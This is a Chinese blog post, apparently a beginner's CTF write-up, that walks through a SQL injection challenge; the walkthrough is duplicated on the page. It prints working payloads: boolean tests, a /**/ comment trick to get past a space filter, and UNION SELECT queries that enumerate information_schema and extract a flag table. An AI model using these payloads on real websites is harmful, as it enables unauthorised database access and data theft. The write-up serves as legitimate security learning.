分享一个简单的sql注入

发布时间 - 2026-01-11 02:26:39    点击率:

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多*网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到sql注入攻击。

分别输入1,2,3有对应的结果

使用'会报错,于是

构造常用的sql语句:1' and '1'='1

没有反应试一试1' and '1'='2

还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试

1and1=1

可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格

试一试1'/**/and/**/'1'='1

发现有结果了:

于是构建sql语句:

判断有那些数据库:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到结果:

查看有哪些数据表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)

故:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

本人也是初学者,参考了许多大佬的wp 自己写出来后有什么错误的地方,希望大家指出,谢谢!

根据页面提示,到底过滤了什么东西?可以知道一定过滤了什么....

分别输入1,2,3有对应的结果

使用'会报错,于是

构造常用的sql语句:1' and '1'='1

没有反应试一试1' and '1'='2

还是没反应,工具提示,应该是过滤了什么,改一下sql语句试一试

1and1=1

可以显示东西,经过判断过滤了空格,我们使用/**/来代替空格

试一试1'/**/and/**/'1'='1

发现有结果了:

于是构建sql语句:

判断有那些数据库:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

可以看到结果:

查看有哪些数据表:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

发现了flag的表,我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)

故:

1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

总结

以上所述是小编给大家介绍的一个简单的sql注入,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对网站的支持!


# sql  # 注入  # Java面试题解析之判断以及防止SQL注入  # SQL注入原理与解决方法代码示例  # 通过ibatis解决sql注入问题  # Win2003服务器防SQL注入神器--D盾_IIS防火墙  # Sql注入工具_动力节点Java学院整理  # Sql注入原理简介_动力节点Java学院整理  # 寻找sql注入的网站的方法(必看)  # Mybatis防止sql注入的实例  # Hibernate使用中防止SQL注入的几种方案  # 有效防止SQL注入的5种方法总结  # 关于SQL注入中文件读写的方法总结  # 深入了解SQL注入  # 表单  # 数据库中  # 是在  # 就在  # 可以看到  # 报错  # 本页面  # 小编  # 大佬  # 应该是  # 发现了  # 有什么  # 发现有  # 有哪些  # 在此  # 它是  # 这类  # 来代替  # 给大家  # 希望大家 


相关栏目: 【 网站优化151355 】 【 网络推广146373 】 【 网络技术251813 】 【 AI营销90571


相关推荐: 香港服务器网站卡顿?如何解决网络延迟与负载问题?  南京网站制作费用,南京远驱官方网站?  今日头条AI怎样推荐抢票工具_今日头条AI抢票工具推荐算法与筛选【技巧】  Laravel项目如何进行性能优化_Laravel应用性能分析与优化技巧大全  谷歌浏览器下载文件时中断怎么办 Google Chrome下载管理修复  Laravel如何使用Laravel Vite编译前端_Laravel10以上版本前端静态资源管理【教程】  Laravel怎么集成Log日志记录_Laravel单文件与每日日志配置及自定义通道【详解】  浅析上传头像示例及其注意事项  阿里云高弹*务器配置方案|支持分布式架构与多节点部署  简单实现Android验证码  Laravel 419 page expired怎么解决_Laravel CSRF令牌过期处理  Laravel如何使用Eloquent进行子查询  Chrome浏览器标签页分组怎么用_谷歌浏览器整理标签页技巧【效率】  如何在橙子建站上传落地页?操作指南详解  Android Socket接口实现即时通讯实例代码  如何用花生壳三步快速搭建专属网站?  如何批量查询域名的建站时间记录?  laravel怎么通过契约(Contracts)编程_laravel契约(Contracts)编程方法  iOS中将个别页面强制横屏其他页面竖屏  使用spring连接及操作mongodb3.0实例  Laravel Pest测试框架怎么用_从PHPUnit转向Pest的Laravel测试教程  Laravel如何处理和验证JSON类型的数据库字段  潮流网站制作头像软件下载,适合母子的网名有哪些?  Laravel如何使用Collections进行数据处理?(实用方法示例)  Laravel如何处理跨站请求伪造(CSRF)保护_Laravel表单安全机制与令牌校验  Laravel如何实现多对多模型关联?(Eloquent教程)  Laravel怎么实现一对多关联查询_Laravel Eloquent模型关系定义与预加载【实战】  大同网页,大同瑞慈医院官网?  北京专业网站制作设计师招聘,北京白云观官方网站?  Laravel如何记录自定义日志?(Log频道配置)  千问怎样用提示词获取健康建议_千问健康类提示词注意事项【指南】  Midjourney怎么调整光影效果_Midjourney光影调整方法【指南】  nodejs redis 发布订阅机制封装实现方法及实例代码  东莞专业网站制作公司有哪些,东莞招聘网站哪个好?  如何利用DOS批处理实现定时关机操作详解  详解Android图表 MPAndroidChart折线图  悟空浏览器如何设置小说背景色_悟空浏览器背景色设置【方法】  ChatGPT常用指令模板大全 新手快速上手的万能Prompt合集  公司网站制作价格怎么算,公司办个官网需要多少钱?  Python企业级消息系统教程_KafkaRabbitMQ高并发应用  Laravel怎么配置S3云存储驱动_Laravel集成阿里云OSS或AWS S3存储桶【教程】  如何快速搭建高效WAP手机网站吸引移动用户?  Laravel怎么多语言本地化设置_Laravel语言包翻译与Locale动态切换【手册】  齐河建站公司:营销型网站建设与SEO优化双核驱动策略  Android GridView 滑动条设置一直显示状态(推荐)  高端企业智能建站程序:SEO优化与响应式模板定制开发  Laravel的HTTP客户端怎么用_Laravel HTTP Client发起API请求教程  如何在 Telegram Web View(iOS)中防止键盘遮挡底部输入框  使用C语言编写圣诞表白程序  Laravel如何实现用户角色和权限系统_Laravel角色权限管理机制